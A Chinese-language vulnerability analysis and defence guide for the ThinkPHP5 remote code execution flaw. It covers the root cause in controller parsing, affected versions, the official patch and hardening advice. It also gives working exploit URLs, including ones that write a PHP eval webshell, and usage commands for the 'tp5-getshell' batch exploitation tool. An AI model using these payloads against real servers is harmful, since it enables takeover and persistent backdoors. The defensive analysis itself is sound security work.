ThinkPHP5 RCE漏洞重现及分析
字数 1426 2025-08-18 11:37:49
ThinkPHP5 RCE漏洞分析与防护指南
一、漏洞概述
ThinkPHP5框架存在一个严重的安全漏洞,允许攻击者通过构造特殊的URL实现远程代码执行(RCE)。该漏洞源于框架未对控制器名称进行有效过滤,导致攻击者可以利用命名空间方式调用任意类的方法,最终可能导致服务器被完全控制。
二、影响版本
- ThinkPHP5.x系列:5.1.31以下版本
- ThinkPHP5.x系列:5.0.23以下版本
- 基于受影响版本二次开发的CMS系统:
- AdminLTE后台管理系统
- ThinkCMF
- ThinkSNS等
三、漏洞原理分析
1. 核心问题
漏洞根源在于$controller参数未经过严格过滤,攻击者可以通过构造包含命名空间的URL路径,直接调用任意类的公共方法。
2. 漏洞触发流程
- URL解析:框架通过
parseUrlPath()方法解析URL路径,未对特殊字符进行过滤 - 控制器解析:
parseModuleAndClass()方法检测到\字符时,直接将输入作为类名处理 - 类实例化:通过
controller()方法实例化指定的类 - 方法调用:通过反射机制调用指定方法
3. 关键代码分析
// App.php中的parseModuleAndClass方法
protected function parseModuleAndClass($name, $layer, $appendSuffix) {
if (false !== strpos($name, '\\')) {
$class = $name; // 直接使用包含命名空间的类名
$module = $this->request->module();
} else {
// 正常处理逻辑
}
return [$module, $class];
}
四、漏洞利用方式
1. 执行任意PHP代码
Windows环境(5.1.24版本):
/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
Linux环境(5.1.30版本):
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
2. 写入WebShell
方法一:通过file驱动写入(5.1.x版本):
/index.php/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @eval($_POST[pass]);?>
方法二:通过file_put_contents写入(5.0.16版本):
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[pass]);?>
五、修复方案
1. 官方修复方式
ThinkPHP5.1版本修复:
在think\route\dispatch\Url类的parseUrl方法中,添加控制器名称验证:
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
ThinkPHP5.0版本修复:
在think\App类的module方法中添加验证:
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
2. 临时修复建议
如果应用正则表达式后出现404错误,可以尝试修改正则表达式,允许斜杠:
if (!preg_match('/^[A-Za-z\/](\w|\.)*$/', $controller)) {
// 抛出异常
}
3. 完整修复步骤
-
通过Composer更新到最新安全版本:
composer update topthink/framework -
或手动修改框架核心文件,添加上述验证代码
六、检测工具
tp5-getshell工具:
- 项目地址:https://github.com/theLSA/tp5-getshell
- 功能:
- 单URL/批量检测
- 支持三种检测模式:
- phpinfo模式:验证漏洞存在
- cmd shell模式:执行系统命令
- getshell模式:写入WebShell
使用示例:
# 单URL检测(phpinfo模式)
python tp5-getshell.py -u http://target.com -t 1
# 批量检测(getshell模式)
python tp5-getshell.py -f urls.txt -t 2 -s 10
七、防护建议
- 立即升级:将所有ThinkPHP5应用升级到最新安全版本
- 输入过滤:对所有用户输入进行严格验证和过滤
- 权限控制:Web目录设置适当的文件权限,限制可写目录
- WAF规则:添加针对ThinkPHP特定漏洞的防护规则
- 日志监控:监控异常请求,特别是包含特殊字符的URL访问
八、参考资料
- ThinkPHP官方安全公告:https://blog.thinkphp.cn/869075
- 官方修复提交:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
- 漏洞分析文章:https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ
注意:本文仅用于技术研究和安全防护目的,严禁用于非法用途。